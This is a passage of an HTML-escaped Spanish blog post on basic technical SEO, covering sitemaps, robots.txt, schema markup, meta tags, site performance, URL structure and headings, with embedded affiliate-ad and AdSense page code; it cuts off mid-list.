sobre que palabras usar, con que sitios conectar&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;el-seo-es-una-caja-negra-y-un-arte-mas-que-una-ciencia&#34;&gt;El SEO es una caja negra y un arte más que una ciencia&lt;/h2&gt;&#xA;&lt;p&gt;Nadie sabe exactamente como funciona el algoritmo de los motores de búsqueda, por lo que llegar a la posición número de Google, u otros motores, para cierta keyword de búsqueda, es más un arte que una ciencia.&lt;/p&gt;&#xA;&lt;p&gt;Inclusive si logras entender vagamente como funciona el algoritmo lo suficiente para manipularlo, tendrás que enfrentarte a que el algoritmo es un ente cambiante y puede que lo que servía perfectamente ayer, ya no sirva hoy.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744675606/coffee-bytes/google-algorithm-update-meme_yd9cb0.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744675606/coffee-bytes/google-algorithm-update-meme_yd9cb0.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme de los cambios en el algoritmo de google&#34; width=&#34;1280&#34; height=&#34;720&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;A pesar de los cambios en el mundo SEO, el enfoque del SEO actual sigue fuertemente ligado a las keywords, pequeñas frases cortas que incluyes en tu sitio web para indicarle a los motores de búsqueda de que trata el contenido de tu sitio web y te muestre a los usuarios correctos.&lt;/p&gt;&#xA;&lt;p&gt;Sin embargo, últimamente, Google ha dicho que su algoritmo es tan sofisticado que logra evaluar que tan bien responde un sitio web a la &lt;em&gt;intención del usuario&lt;/em&gt; e &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://about.google/company-info/philosophy/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;invita a sus usuarios a enfocarse en resolver la intención de los usuarios&lt;/a&gt;&#xA; en lugar de en las keywords. Aunque, de manera paradójica, sus servicios de publicidad siguen fuertemente orientados a las keywords.&lt;/p&gt;&#xA;&lt;h2 id=&#34;seo-tecnico-basico-en-el-desarrollo-web&#34;&gt;SEO Técnico básico en el desarrollo web&lt;/h2&gt;&#xA;&lt;p&gt;El SEO técnico consiste en una serie de requisitos que debe cumplir un sitio web para ser amigable a los motores de búsqueda, de manera que estos te indexen en posiciones altas y cuando un usuario busque en redes, tú aparezcas en las primeras posiciones.&lt;/p&gt;&#xA;&lt;p&gt;Este tema es muy amplio, pero espero resumirlo de manera que tengas una idea general y no te pierdas en el mar de información que existe.&lt;/p&gt;&#xA;&lt;h3 id=&#34;archivo-sitemapxml&#34;&gt;Archivo Sitemap.xml&lt;/h3&gt;&#xA;&lt;p&gt;Probablemente este es el aspecto técnico de SEO más importante. Un sitemap le dirá a los motores de búsqueda las páginas que tiene tu aplicación.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744677728/coffee-bytes/robots-sitemap-relationship_fnzjlr.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744677728/coffee-bytes/robots-sitemap-relationship_fnzjlr.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diagrama de un sitemap mostrando las urls disponibles&#34; width=&#34;736&#34; height=&#34;316&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Diagrama de un sitemap mostrando las urls disponibles&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;En muchos casos, un sitemap puede generarse de manera dinámica, algunos frameworks incluso cuentan con herramientas que te permiten hacerlo en pocas lineas, como Django.&lt;/p&gt;&#xA;&lt;p&gt;Una vez creado, debes indicarle a los motores de búsqueda en donde se localiza la url de tu sitemap directo desde su panel de administración. Si no lo indicas explícitamente buscaran en las urls más comunes, o en el archivo &lt;em&gt;robots.txt&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744673455/coffee-bytes/screenshot-sitemap-google_zx6kdr.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744673455/coffee-bytes/screenshot-sitemap-google_zx6kdr.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of Google&amp;#39;s search console sitemap section&#34; width=&#34;1026&#34; height=&#34;465&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Screenshot of Google&amp;rsquo;s search console sitemap section&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;robotstxt&#34;&gt;Robots.txt&lt;/h3&gt;&#xA;&lt;p&gt;Un archivo &lt;em&gt;robots.txt&lt;/em&gt; orientará a los motores de búsqueda y crawlers sobre que URLs debe ignorar y cuales debe inspeccionar. Además este archivo debería incluir la ubicación del sitemap.&lt;/p&gt;&#xA;&lt;p&gt;Se espera que la URL para este archivo siemprea sea &lt;em&gt;/robots.txt&lt;/em&gt;, por lo que apegate a esta convención.&lt;/p&gt;&#xA;&lt;p&gt;Mira un ejemplo de un archivo &lt;em&gt;robots.txt&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User-agent: *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disallow: /*/tags/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disallow: /*/categories/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disallow: /*/search/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sitemap: https://example.org/sitemap.xml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;un-archivo-robotstxt-no-sirve-para-bloquear-crawlers-ni-bots&#34;&gt;Un archivo robots.txt no sirve para bloquear crawlers ni bots.&lt;/h4&gt;&#xA;&lt;p&gt;Hay una confusión al respecto, y es bastante obvio pero lo mencionaré de todas formas: &lt;strong&gt;los crawlers pueden ignorar por completo las indicaciones de tu archivo robots.txt&lt;/strong&gt;, por lo que no debes verlo como un mecanismo de protección para tu sitio web, si un crawler quiere, ignorará las instrucciones contenidas ahí.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744680644/coffee-bytes/robots-txt-meme_qzyqxq.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744680644/coffee-bytes/robots-txt-meme_qzyqxq.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Robots.txt meme&#34; width=&#34;750&#34; height=&#34;737&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Robots.txt no te protegerá de los crawlers&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Si algún influencer en redes te dice lo contrario te está mintiendo descaradamente. Es más, lo reto a que detenga a un crawler solo usando un archivo &lt;em&gt;robots.txt&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h4 id=&#34;robots-bloquear-todo&#34;&gt;Robots bloquear todo&lt;/h4&gt;&#xA;&lt;p&gt;Si quieres indicarle a los crawlers que deben ignorar absolutamente todo el contenido de tu web, podrías usar algo como:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User-agent: *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disallow: /&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;la-contraparte-de-robotstxt-humanstxt&#34;&gt;La contraparte de robots.txt: humans.txt&lt;/h4&gt;&#xA;&lt;p&gt;Como dato curioso, existe una iniciativa para popularizar la idea de agregar la contraparte del archivo &lt;em&gt;robots.txt&lt;/em&gt;, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://humanstxt.org&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;un archivo &lt;em&gt;humans.txt&lt;/em&gt;&lt;/a&gt;&#xA; y mostrar la parte humana tras un sitio web, el alma en la máquina o en la consola (¿El &amp;ldquo;Ghost in the shell&amp;rdquo;?), a mi me parece una idea muy bella el saber como son los humanos que existen tras un sitio web. Desafortunadamente este proyecto cuenta con poca difusión a la fecha.&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-siempre-ignorado-schema-markup&#34;&gt;El siempre ignorado: Schema markup&lt;/h3&gt;&#xA;&lt;p&gt;Frecuentemente presente como una etiqueta &lt;em&gt;script&lt;/em&gt; de tipo &lt;em&gt;ld+json&lt;/em&gt; (aunque hay otros formatos válidos), que puede encontrarse en cualquier punto de tu documento HTML, le índica a los motores de búsqueda los elementos que tiene tu sitio web y como se relacionan entre ellos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744678359/coffee-bytes/schema-markup-diagram_1_laalzs.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744678359/coffee-bytes/schema-markup-diagram_1_laalzs.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diagrama de Schema Markup&#34; width=&#34;1133&#34; height=&#34;374&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Un schema mostrará información sobre el contenido y los elementos de una página web&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Los diferentes tipos de Schema son complejísimos y es todo un tema a tratar, puesto que varían mucho de acuerdo al tipo de sitio web.&lt;/p&gt;&#xA;&lt;p&gt;Un sitio web que venda artículos electrónicos tendrá una serie de propiedades en su Schema completamente diferentes a un sitio web de un restaurante, o una aplicación web.&lt;/p&gt;&#xA;&lt;p&gt;Si estás completamente perdido, te dejo un prompt que puedes usar para orientarte, solo escríbeselo a ChatGPT, DeepSeek o cualquier otro LLM competente:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Eres un experto en SEO, crea el contenido de una etiqueta ld+json, basado en las características de schema.org, para una página web cuyo tema principal es &amp;ldquo;x&amp;rdquo;, el contenido de la página consiste en &amp;ldquo;y&amp;rdquo;, puedes utilizar placeholders para las variables usando el siguiente formato: &amp;ldquo;z&amp;rdquo;, por favor.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Una vez obtengas el resultado corrobóralo con la documentación oficial o con su &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://validator.schema.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;herramienta de validación de schemas&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;presencia-de-meta-tags&#34;&gt;Presencia de Meta tags&lt;/h3&gt;&#xA;&lt;p&gt;Las metatags que van en la etiqueta &lt;em&gt;head&lt;/em&gt; de tu HTML son metadatos sobre el contenido que pueden usarse para que los motores de búsqueda entiendan tu sitio mejor.&lt;/p&gt;&#xA;&lt;p&gt;Dentro de los metatags son especialmente importantes los Open Graph, pues son el estándar para que las redes sociales puedan obtener información de tus páginas web, estos meta tags son los que logran que uno de tus enlaces se vea así cuando lo compartes en redes sociales.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744673982/coffee-bytes/og-meta-tags-visualized_vt8xkh.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744673982/coffee-bytes/og-meta-tags-visualized_vt8xkh.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Las redes sociales usan las metatags para mostrar la información relevante de una página&#34; width=&#34;527&#34; height=&#34;354&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Las redes sociales usan las metatags para mostrar la información relevante de una página&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Existen algunos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.seoptimer.com/meta-tag-generator&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;generadores de meta tags&lt;/a&gt;&#xA; que puedes usar para generar una plantilla a llenar, o simplemente pídele a chatGPT una.&lt;/p&gt;&#xA;&lt;h3 id=&#34;un-sitio-web-con-buen-performance-para-seo&#34;&gt;Un sitio web con buen performance para SEO&lt;/h3&gt;&#xA;&lt;p&gt;El sitio web debe brindar una buena experiencia al usuario y ser responsivo, importa, sí, pero no tanto como crees. El contenido juega un rol mucho más importante que la velocidad de tu sitio web, es común ver sitios web sitios pésimamente optimizados pero con un buen ranking en los buscadores.&lt;/p&gt;&#xA;&lt;p&gt;Pero no me creas ciegamente, utiliza la siguiente herramienta para corroborar lo que digo usando los primeros resultados en Google.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744674198/coffee-bytes/Lighthouse-score-for-zeedu_xb0ekq.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744674198/coffee-bytes/Lighthouse-score-for-zeedu_xb0ekq.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Score de Lighthouse para mi página de portafolio&#34; width=&#34;989&#34; height=&#34;766&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Score de Lighthouse para mi página de portafolio&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Herramientas como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://chromewebstore.google.com/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Lighthouse&lt;/a&gt;&#xA; son bastante útiles para medir el performance de un sitio web y también te indican como mejorarlo.&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-aspecto-mas-infravalorado-del-seo-tecnico-basico-arquitectura-de-sitio-web-bien-disenada&#34;&gt;El aspecto más infravalorado del SEO Técnico básico: Arquitectura de sitio web bien diseñada&lt;/h3&gt;&#xA;&lt;p&gt;Asegúrate que el sitio web cuente con una estructura que permite a los motores de búsqueda &amp;ldquo;entenderlo&amp;rdquo;. ¿A que me refiero? A que el sitio web esté organizado de una manera lógica y jerárquica que sea entendible.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo algo similar a esto:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744674678/coffee-bytes/diagram-website-structure_kfhxde.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744674678/coffee-bytes/diagram-website-structure_kfhxde.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Estructura semántica de un website&#34; width=&#34;866&#34; height=&#34;398&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Estructura semántica de un website&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h4 id=&#34;importa-la-estructura-de-las-url-en-seo&#34;&gt;¿Importa la estructura de las URL en SEO?&lt;/h4&gt;&#xA;&lt;p&gt;Sí, y mucho, puedes echar de mano las urls para darle a tu sitio web la estructura semántica que creas correcta para que sea coherente con la arquitectura que planeas, esto facilita que los motores de búsqueda &amp;ldquo;entiendan&amp;rdquo; tu sitio web.&lt;/p&gt;&#xA;&lt;p&gt;Te hablé un poco de esto en mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/buenas-practicas-y-diseno-de-una-api-rest/&#34;&gt;buenas prácticas y diseño de una api rest&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;En las siguientes URLs, observa como no hay manera de saber si Nawapol es una película, o un director o un documental:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/session-9/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/50-first-dates/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/nawapol-thamrongrattanarit/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/salt-of-the-earth/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo mejor sería dotarles de una estructura consistente y más explícita:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/movies/psychological-horror/session-9/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/movies/comedy/one-hundred-first-dates/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/documentaries/photography/salt-of-the-earth/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/directors/nawapol-thamrongrattanarit/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Conoce la que es considerada como la Biblia del SEO, cubre prácticamente todo respecto al SEO.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro The Art of SEO\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744682069/coffee-bytes/the-art-of-seo-book_mohlar.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4lrKniV\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio\&#34;,\&#34;title\&#34;:\&#34;¿Quieres especializarte en SEO pero no sabes donde?\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;probablemente-no-estes-usando-correctamente-las-etiquetas-html&#34;&gt;Probablemente no estés usando correctamente las etiquetas HTML&lt;/h3&gt;&#xA;&lt;h4 id=&#34;headings-y-seo&#34;&gt;Headings y SEO&lt;/h4&gt;&#xA;&lt;p&gt;Los headings son las etiquetas más importantes de tu contenido, pues le dicen a los motores de búsqueda como está organizado.&lt;/p&gt;&#xA;&lt;p&gt;Asegúrate de usar solo una etiqueta h1, y jerarquizar las etiquetas h2 hasta la h6, usándolas para darle una estructura jerarquica a tu sitio web.&lt;/p&gt;&#xA;&lt;h4 id=&#34;html-te-permite-ser-muy-expresivo-en-el-seo&#34;&gt;HTML te permite ser muy expresivo en el SEO.&lt;/h4&gt;&#xA;&lt;p&gt;Hay mucho más alla de las divs, los anchors, las etiquetas img y las de video. HTML brinda etiquetas para ayudar a los motores de búsqueda y dispositivos a entender mejor el contenido de una página web. No te quedes solo con esos elementos e investiga sobre el resto de etiquetas HTML, tales como:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;article&lt;/em&gt;: Contenido autónomo que se entiende de forma independiente.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;section&lt;/em&gt;: Agrupación temática de contenidos, normalmente con un encabezado.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;nav&lt;/em&gt;: Enlaces de navegación para el documento o el sitio, breadcrumbs, barra de navegación.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;footer&lt;/em&gt;: Pie de página de una sección o página, a menudo con metadatos.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;datetime&lt;/em&gt;: Fecha/hora (utilizada en la 